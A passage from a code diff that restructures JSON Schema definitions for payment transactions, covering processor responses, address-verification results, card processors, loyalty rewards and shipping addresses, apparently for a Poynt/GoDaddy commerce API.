"UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "countryResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "phoneResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "postalCodeResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "stateResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + } }, - "postalCodeResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] + "type": "object", + "x-legacy": true + }, + "LegacyAVSResultType": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "LegacyCVResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "NOT_PROCESSED", + "NO_CODE_PRESENT", + "SHOULD_HAVE_BEEN_PRESENT", + "ISSUER_NOT_CERTIFIED", + "INVALID", + "NO_RESPONSE", + "NOT_APPLICABLE" + ], + "type": "string" + }, + "LegacyECheckProcessor": { + "enum": [ + "MOCK", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "LegacyProcessor": { + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "LegacyProcessorStatus": { + "enum": [ + "Successful", + "Failure" + ], + "type": "string" + }, + "LegacyProviderVerification": { + "description": "Provider verification fields.", + "properties": { + "publicKeyHash": { + "description": "A hash of the public key so Poynt knows it has the right public key.", + "type": "string" + }, + "signature": { + "description": "Base64 encoded signature of the transactions.", + "type": "string" + } }, - "stateResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - } + "type": "object" + }, + "LegacyStrongCustomerAuthenticationResult": { + "enum": [ + "ENTER_PIN", + "INSERT_CARD", + "CDCVM" + ], + "type": "string" } }, - "batchAutoClosedByHost": { - "type": "string" - }, - "batchId": { - "type": "string", - "description": "The ID of the settlement batch that this transaction is assigned to.", - "maxLength": 64 - }, - "cardToken": { - "type": "string", - "maxLength": 256 - }, - "cvActualResult": { - "type": "string" - }, - "cvResult": { - "description": "The card verification results.", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "NOT_PROCESSED", - "NO_CODE_PRESENT", - "SHOULD_HAVE_BEEN_PRESENT", - "ISSUER_NOT_CERTIFIED", - "INVALID", - "NO_RESPONSE", - "NOT_APPLICABLE" - ] - }, - "debitResponseCode": { - "type": "string" - }, - "echeckProcessor": { - "description": "eCheck(electronic payment funded by the buyer's bank account) processor used by the business.", - "type": "string", - "enum": [ - "MOCK", - "CHECK_COMMERCE" - ] - }, - "issuerResponseCode": { - "type": "string" - }, - "pinSessionKey": { - "type": "string" - }, - "processedAt": { - "type": "string", - "format": "date-time", - "description": "Date / time of transaction received by the processor host." - }, - "processor": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "providerVerification": { - "description": "Object that carries provider verification related fields.", - "type": "object", - "properties": { - "publicKeyHash": { - "type": "string", - "description": "A hash of the public key so Poynt knows it has the right public key." + "$id": "https://poynt.godaddy.com/schemas/transaction/processor-response-metadata.v2", + "$schema": "https://json-schema.org/draft/2019-09/schema", + "deprecated": true, + "description": "Legacy Processor response fields.", + "properties": { + "acquirer": { + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "adapterId": { + "type": "string" + }, + "adapterVariant": { + "type": "string" + }, + "avsResult": { + "properties": { + "actualResult": { + "type": "string" + }, + "addressResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "cardHolderNameResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "cityResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "countryResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "phoneResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "postalCodeResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "stateResult": { + "$ref": "#/$defs/LegacyAVSResultType" + } + }, + "type": "object", + "x-legacy": true + }, + "batchAutoClosedByHost": { + "type": "string" + }, + "batchId": { + "description": "The ID of the settlement batch that this transaction is assigned to.", + "maxLength": 64, + "type": "string" + }, + "cardToken": { + "maxLength": 256, + "type": "string" + }, + "cvActualResult": { + "type": "string" + }, + "cvResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "NOT_PROCESSED", + "NO_CODE_PRESENT", + "SHOULD_HAVE_BEEN_PRESENT", + "ISSUER_NOT_CERTIFIED", + "INVALID", + "NO_RESPONSE", + "NOT_APPLICABLE" + ], + "type": "string" + }, + "debitResponseCode": { + "type": "string" + }, + "echeckProcessor": { + "enum": [ + "MOCK", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "issuerResponseCode": { + "type": "string" + }, + "pinSessionKey": { + "type": "string" + }, + "processedAt": { + "description": "Date / time of transaction received by the processor host.", + "format": "date-time", + "type": "string" + }, + "processor": { + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "providerVerification": { + "description": "Provider verification fields.", + "properties": { + "publicKeyHash": { + "description": "A hash of the public key so Poynt knows it has the right public key.", + "type": "string" + }, + "signature": { + "description": "Base64 encoded signature of the transactions.", + "type": "string" + } }, - "signature": { - "type": "string", - "description": "Base64 encoded signature of the transactions." - } + "type": "object" + }, + "ps2000Data": { + "description": "Payment Service 2000 data to process a secondary transaction", + "type": "string" + }, + "retrievalRefNum": { + "maxLength": 64, + "type": "string" + }, + "scaResult": { + "enum": [ + "ENTER_PIN", + "INSERT_CARD", + "CDCVM" + ], + "type": "string" + }, + "status": { + "enum": [ + "Successful", + "Failure" + ], + "type": "string" + }, + "statusCode": { + "description": "Will be 1 if status is Successful. If status is Failure, it will be whatever statusCode came from the acquirer.", + "maxLength": 64, + "type": "string" + }, + "statusMessage": { + "description": "Will be whatever message came back from the acquirer.", + "maxLength": 512, + "type": "string" + }, + "transactionId": { + "description": "The transactionID that came back from the acquirer.", + "maxLength": 64, + "type": "string" } }, - "ps2000Data": { - "type": "string", - "description": "Payment Service 2000 data to process a secondary transaction" - }, - "retrievalRefNum": { - "type": "string", - "maxLength": 64 - }, - "scaResult": { - "description": "Represents a SCA status if it was triggered. Strong Customer Authentication (SCA) is a European regulatory requirement to reduce fraud and make online payments more secure.", - "type": "string", - "enum": [ - "ENTER_PIN", - "INSERT_CARD", - "CDCVM" - ] - }, - "status": { - "description": "Possible values are Successful or Failure.", - "enum": [ - "Successful", - "Failure" - ], - "type": "string" - }, - "statusCode": { - "type": "string", - "description": "Will be 1 if status is Successful. If status is Failure, it will be whatever statusCode came from the acquirer.", - "maxLength": 64 - }, - "statusMessage": { - "type": "string", - "description": "Will be whatever message came back from the acquirer.", - "maxLength": 512 - }, - "transactionId": { - "type": "string", - "description": "The transactionID that came back from the acquirer.", - "maxLength": 64 - } + "type": "object", + "x-legacy": true + }, + "remainingBalanceAmount": { + "description": "Remaining balance amount", + "format": "int64", + "type": "integer" } + }, + "title": "Debit Card Processor Response", + "type": "object" + } + ], + "properties": { + "processorType": { + "description": "Discriminator field representing the type of processor response", + "type": "string" + } + }, + "required": [ + "processorType" + ], + "title": "Processor Response", + "type": "object" + }, + "reason": { + "description": "Reason for this adjustment.", + "properties": { + "program": { + "description": "The reason for the transaction - currently only applicable for lodging.", + "enum": [ + "NO_SHOW", + "PURCHASE", + "CARD_DEPOSIT", + "DELAYED_CHARGE", + "EXPRESS_SERVICE", + "ASSURED_RESERVATION" + ], + "type": "string" + }, + "programFor": { + "description": "Some programs require this additional programFor list to be populated.", + "items": { + "enum": [ + "RESTAURANT", + "GIFT_SHOP", + "MINI_BAR", + "TELEPHONE", + "LAUNDRY", + "OTHER" + ], + "type": "string" + }, + "type": "array" + } + }, + "type": "object" + }, + "sequence": { + "description": "This field indicates the sequence in which this AdjustmentRecord happened in the adjustment history.", + "type": "integer" + }, + "signature": { + "format": "byte", + "type": "string" + }, + "signatureCaptured": { + "description": "Shows whether signature was captured for this adjustment.", + "type": "boolean" + }, + "systemTraceAuditNumber": { + "type": "string" + }, + "transactionNumber": { + "type": "string" + } + }, + "type": "object" + }, + "LegacyPoyntLoyalty": { + "properties": { + "externalId": { + "type": "string" + }, + "loyalty": { + "items": { + "properties": { + "businessLoyaltyId": { + "format": "int64", + "type": "integer" + }, + "campaignDescription": { + "type": "string" + }, + "campaignName": { + "type": "string" + }, + "lastIncrement": { + "format": "int64", + "type": "integer" + }, + "loyaltyType": { + "type": "string" + }, + "loyaltyUnit": { + "type": "string" + }, + "nextTier": { + "type": "string" + }, + "points": { + "format": "int64", + "type": "integer" + }, + "pointsRequired": { + "format": "int64", + "type": "integer" + }, + "rewardDescription": { + "type": "string" + }, + "tier": { + "type": "string" + }, + "totalPoints": { + "format": "int64", + "type": "integer" + }, + "totalSpend": { + "format": "int64", + "type": "integer" + }, + "totalVisits": { + "format": "int64", + "type": "integer" } - } + }, + "type": "object" + }, + "type": "array" + }, + "loyaltyId": { + "format": "int64", + "type": "integer" + }, + "reward": { + "items": { + "properties": { + "businessLoyaltyId": { + "format": "int64", + "type": "integer" + }, + "expireAt": { + "format": "date-time", + "type": "string" + }, + "newReward": { + "type": "boolean" + }, + "postText": { + "type": "string" + }, + "preText": { + "type": "string" + }, + "rewardDescription": { + "type": "string" + }, + "rewardId": { + "format": "int64", + "type": "integer" + }, + "status": { + "type": "string" + }, + "type": { + "type": "string" + }, + "value": { + "format": "int64", + "type": "integer" + } + }, + "type": "object" + }, + "type": "array" + } + }, + "type": "object" + }, + "LegacyPoyntLoyaltyCampaign": { + "properties": { + "businessLoyaltyId": { + "format": "int64", + "type": "integer" + }, + "campaignDescription": { + "type": "string" + }, + "campaignName": { + "type": "string" + }, + "lastIncrement": { + "format": "int64", + "type": "integer" + }, + "loyaltyType": { + "type": "string" + }, + "loyaltyUnit": { + "type": "string" + }, + "nextTier": { + "type": "string" + }, + "points": { + "format": "int64", + "type": "integer" + }, + "pointsRequired": { + "format": "int64", + "type": "integer" + }, + "rewardDescription": { + "type": "string" + }, + "tier": { + "type": "string" + }, + "totalPoints": { + "format": "int64", + "type": "integer" + }, + "totalSpend": { + "format": "int64", + "type": "integer" + }, + "totalVisits": { + "format": "int64", + "type": "integer" + } + }, + "type": "object" + }, + "LegacyPoyntLoyaltyReward": { + "properties": { + "businessLoyaltyId": { + "format": "int64", + "type": "integer" + }, + "expireAt": { + "format": "date-time", + "type": "string" + }, + "newReward": { + "type": "boolean" + }, + "postText": { + "type": "string" + }, + "preText": { + "type": "string" + }, + "rewardDescription": { + "type": "string" + }, + "rewardId": { + "format": "int64", + "type": "integer" + }, + "status": { + "type": "string" + }, + "type": { + "type": "string" + }, + "value": { + "format": "int64", + "type": "integer" + } + }, + "type": "object" + } + }, + "$id": "https://poynt.godaddy.com/schemas/transaction/metadata.v2", + "$schema": "https://json-schema.org/draft/2019-09/schema", + "deprecated": true, + "description": "This is the base object for the transactions resource. Transactions resource represents a financial transaction. It can be used to save the transaction in the Poynt system as well as initiate interaction with the acquirer to move funds.", + "properties": { + "actionVoid": { + "type": "boolean" + }, + "adjusted": { + "description": "This is a response only field. This flag will be present on the transaction that was adjusted and its parents. Most processors only allow adjustment on an Authorize transaction, but some do allow adjustment on Sale or Capture too.", + "type": "boolean" + }, + "adjustmentHistory": { + "description": "If the transaction has been adjusted (aka updated), this list will show the details of the updates.", + "items": { + "description": "This object shows a summary of the adjustment.", + "properties": { + "amountChanges": { + "$ref": "../Amount.yaml", + "description": "Total amount change in this adjustment." + }, + "amounts": { + "$ref": "../Amount.yaml", + "description": "Total amount after this adjustment." + }, + "createdAt": { + "description": "This is a response field. The server time (in ISO-8601 format) at which this transaction was initially created. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "type": "string" + }, + "exchangeRate": { + "description": "Exchange rate used for this adjustment.", + "properties": { + "businessId": { + "type": "string" + }, + "cardAmount": { + "format": "int64", + "type": "integer" + }, + "cardCurrency": { + "maxLength": 3, + "minLength": 3, + "type": "string" + }, + "cardTipAmount": { + "format": "int64", + "type": "integer" + }, + "disclaimer": { + "type": "string" + }, + "markupInfo1": { + "type": "string" + }, + "markupInfo2": { + "type": "string" + }, + "markupPercentage": { + "type": "string" + }, + "provider": { + "type": "string" + }, + "rate": { + "format": "int64", + "type": "integer" + }, + "ratePrecision": { + "format": "int64", + "type": "integer" + }, + "requestedAt": { + "format": "date-time", + "type": "string" + }, + "signature": { + "type": "string" + }, + "tipAmount": { + "format": "int64", + "type": "integer" + }, + "txnAmount": { + "format": "int64", + "type": "integer" + }, + "txnCurrency": { + "maxLength": 3, + "minLength": 3, + "type": "string" + } + }, + "type": "object" + }, + "processorResponse": { + "$ref": "../processor-response/ProcessorResponse.yaml", + "description": "This object includes some important response elements received from the processor." + }, + "reason": { + "description": "Reason for this adjustment.", + "properties": { + "program": { + "description": "The reason for the transaction - currently only applicable for lodging.", + "enum": [ + "NO_SHOW", + "PURCHASE", + "CARD_DEPOSIT", + "DELAYED_CHARGE", + "EXPRESS_SERVICE", + "ASSURED_RESERVATION" + ], + "type": "string" + }, + "programFor": { + "description": "Some programs require this additional programFor list to be populated.", + "items": { + "enum": [ + "RESTAURANT", + "GIFT_SHOP", + "MINI_BAR", + "TELEPHONE", + "LAUNDRY", + "OTHER" + ], + "type": "string" + }, + "type": "array" + } + }, + "type": "object" + }, + "sequence": { + "description": "This field indicates the sequence in which this AdjustmentRecord happened in the adjustment history.", + "type": "integer" + }, + "signature": { + "format": "byte", + "type": "string" + }, + "signatureCaptured": { + "description": "Shows whether signature was captured for this adjustment.", + "type": "boolean" + }, + "systemTraceAuditNumber": { + "type": "string" + }, + "transactionNumber": { + "type": "string" } - ], + }, + "type": "object" + }, + "type": "array" + }, + "amountsAdjusted": { + "type": "boolean" + }, + "approvalCode": { + "description": "An approval code received over the phone (in case of terminal going offline) can be passed here as part of a SALE transaction. This process in the industry is often referred to as forced post or forced sale.", + "maxLength": 32, + "type": "string" + }, + "authOnly": { + "description": "This is an in/out field. If not passed, it will default to false. This tells the terminal to only authorize and wait for the merchant to capture it.", + "type": "boolean" + }, + "chargebackStatus": { + "enum": [ + "CREATED", + "DISPUTED", + "MERCHANT_WON", + "MERCHANT_LOST" + ], + "type": "string" + }, + "context": { + "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "customerLanguage": { + "description": "The customer's language preference for the transaction.", + "maxLength": 2, + "minLength": 2, + "type": "string" + }, + "customerUserId": { + "description": "A Poynt generated customer id that is returned in the response. This id is only assigned only to a customer performing a card transaction.", + "format": "int64", + "type": "integer" + }, + "emailReceipt": { + "type": "boolean" + }, + "intent": { + "description": "This field is used to inform the transaction intent. Client must use this field wherever applicable for better approval rate.", + "enum": [ + "UNSCHEDULED_COF_TXN", + "RECURRING_COF_TXN", + "INSTALLMENT_COF_TXN" + ], + "type": "string" + }, + "partialAuthEnabled": { + "type": "boolean" + }, + "partiallyApproved": { + "type": "boolean" + }, + "paymentTokenUsed": { + "description": "This means that transaction was processed with payment token.", + "type": "boolean" + }, + "pinCaptured": { + "type": "boolean" + }, + "poyntLoyalty": { + "properties": { + "externalId": { + "type": "string" + }, + "loyalty": { + "items": { + "$ref": "#/$defs/LegacyPoyntLoyaltyCampaign" + }, + "type": "array" + }, + "loyaltyId": { + "format": "int64", + "type": "integer" + }, + "reward": { + "items": { + "$ref": "#/$defs/LegacyPoyntLoyaltyReward" + }, + "type": "array" + } + }, + "type": "object" + }, + "processorOptions": { + "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "processorTransactionId": { + "description": "The capability to enter a transaction id along with approval code.", + "maxLength": 64, + "type": "string" + }, + "reason": { + "description": "Reason for transaction - currently only applicable for lodging.", + "properties": { + "program": { + "description": "The reason for the transaction - currently only applicable for lodging.", + "enum": [ + "NO_SHOW", + "PURCHASE", + "CARD_DEPOSIT", + "DELAYED_CHARGE", + "EXPRESS_SERVICE", + "ASSURED_RESERVATION" + ], + "type": "string" + }, + "programFor": { + "description": "Some programs require this additional programFor list to be populated.", + "items": { + "enum": [ + "RESTAURANT", + "GIFT_SHOP", + "MINI_BAR", + "TELEPHONE", + "LAUNDRY", + "OTHER" + ], + "type": "string" + }, + "type": "array" + } + }, + "type": "object" + }, + "receiptEmailAddress": { + "description": "Email address collected from the customer.", + "maxLength": 512, + "type": "string" + }, + "receiptPhone": { + "description": "Phone collected from the customer to SMS receipt.", + "properties": { + "areaCode": { + "type": "string" + }, + "createdAt": { + "format": "date-time", + "type": "string" + }, + "extensionNumber": { + "type": "string" + }, + "id": { + "format": "int64", + "type": "integer" + }, + "ituCountryCode": { + "type": "string" + }, + "localPhoneNumber": { + "type": "string" + }, + "primaryDayTime": { + "type": "boolean" + }, + "primaryEvening": { + "type": "boolean" + }, + "status": { + "enum": [ + "ADDED", + "CONFIRMED" + ], + "type": "string" + }, + "type": { + "enum": [ + "HOME", + "WORK", + "BUSINESS", + "MOBILE", + "FAX", + "PAGER", + "RECEIPT", + "OTHER" + ], + "type": "string" + }, + "updatedAt": { + "format": "date-time", + "type": "string" + } + }, + "type": "object" + }, + "references": { + "description": "References to orders/invoices that this transaction is for.", + "items": { + "$id": "https://godaddy.com/schemas/commerce/transaction/transaction-reference.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Reference to a document (e.g. order or invoice) that this transaction is for", "properties": { - "remainingBalanceAmount": { - "type": "integer", - "format": "int64", - "description": "Remaining balance amount" + "additionalLabel": { + "description": "(Optional) Label that the reference points to", + "maxLength": 32, + "type": "string" + }, + "type": { + "maxLength": 32, + "type": "string" + }, + "value": { + "maxLength": 128, + "type": "string" + } + }, + "required": [ + "value", + "type" + ], + "title": "Transaction Reference", + "type": "object" + }, + "type": "array" + }, + "reversalVoid": { + "type": "boolean" + }, + "saveCardOnFile": { + "description": "This boolean field is used to inform if user wants to save card on file with this transaction. Client must use this field wherever applicable for better approval rate.", + "type": "boolean" + }, + "settled": { + "type": "boolean" + }, + "settlementStatus": { + "description": "Represents settlement status of transaction.", + "maxLength": 32, + "type": "string" + }, + "shippingAddress": { + "description": "A shipping address associated with the transaction.", + "properties": { + "city": { + "maxLength": 64, + "type": "string" + }, + "countryCode": { + "maxLength": 3, + "type": "string" + }, + "createdAt": { + "description": "The time (in ISO-8601 format) at which the address was created. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "type": "string" + }, + "id": { + "format": "int64", + "type": "integer" + }, + "line1": { + "maxLength": 128, + "type": "string" + }, + "line2": { + "maxLength": 128, + "type": "string" + }, + "postalCode": { + "maxLength": 16, + "type": "string" + }, + "postalCodeExtension": { + "maxLength": 16, + "type": "string" + }, + "primary": { + "type": "boolean" + }, + "status": { + "const": "ADDED", + "type": "string" + }, + "territory": { + "maxLength": 64, + "type": "string" + }, + "territoryType": { + "description": "TerritoryType enum and territory go hand in hand. This enum specifies what kind of territory is in the territory field. E.g. in the US, this will typically be STATE.", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + }, + "type": { + "enum": [ + "HOME", + "WORK", + "BUSINESS", + "TRANSACTION", + "OTHER" + ], + "type": "string" + }, + "updatedAt": { + "description": "The time (in ISO-8601 format) at which the address was updated. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "type": "string" + } + }, + "type": "object" + }, + "signature": { + "description": "Signature collected from the customer.", + "format": "byte", + "type": "string" + }, + "signatureCaptured": { + "description": "This is a response field. This field could be used by the client to inform that signature has or will soon be captured. The server uses this field to inform whether a signature has been captured.", + "type": "boolean" + }, + "signatureRequired": { + "type": "boolean" + }, + "status": { + "description": "If funding source is CASH, only CAPTURED and REFUNDED are the possible options. The SAVE feature is not applicable to CASH.", + "enum": [ + "CREATED", + "SAVED", + "AUTHORIZED", + "PENDING", + "PARTIALLY_CAPTURED", + "CAPTURED", + "DECLINED", + "PARTIALLY_CAPTURED_AND_PARTIALLY_REFUNDED", + "PARTIALLY_REFUNDED", + "REFUNDED", + "VOIDED", + "STEP_UP" + ], + "type": "string" + }, + "stayType": { + "enum": [ + "GENERAL_CONTAINER", + "REGULAR_STAY", + "QUICK_STAY", + "NON_LODGING_SALE", + "NON_LODGING_NRR" + ], + "type": "string" + }, + "systemTraceAuditNumber": { + "description": "This is a unique number per transaction session generated by the terminal.", + "maxLength": 6, + "minLength": 1, + "type": "string" + }, + "voided": { + "type": "boolean" + } + }, + "type": "object" + }, + "links": { + "description": "Links associated with this transaction", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data.", + "format": "uri", + "type": "string" + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target.", + "format": "uri", + "type": "string" + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "type": "array" + }, + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" + }, + "processingInstructions": { + "$id": "https://godaddy.com/schemas/commerce/transaction/transaction-processing-instruction.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Instructions to be used while processing transaction", + "properties": { + "authOnly": { + "default": false, + "description": "Perform authorize only and do not auto capture. Applicable only for AUTHORIZATION type payment", + "type": "boolean", + "writeOnly": true + }, + "partialAuthEnabled": { + "default": true, + "description": "Allow partial authorizations. Applicable only for AUTHORIZATION and SALE type payment", + "type": "boolean", + "writeOnly": true + }, + "statementDescriptorSuffix": { + "description": "Transaction-level statement descriptor suffix. It's optional field. If parent transaction has data it will be used from parent transaction. If not provided then statement descriptor suffix from device/store/business level will be used.", + "type": "string", + "writeOnly": true + }, + "storeAndForward": { + "default": false, + "description": "Store and forward transaction. Used to identify if the transaction is online or offline", + "type": "boolean" + } + }, + "title": "Transaction Processing Instruction", + "type": "object" + }, + "processorResponse": { + "$id": "https://godaddy.com/schemas/commerce/transaction/transaction/processor-response.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Response from processor received as part of processing transaction", + "discriminator": { + "mapping": { + "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", + "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" + }, + "propertyName": "processorType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/transaction/transaction/processor-response/creditcard.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Processor response for credit card", + "properties": { + "approvalCode": { + "description": "The approval code that came back from the acquirer (usually its 6 alpha-numeric characters).", + 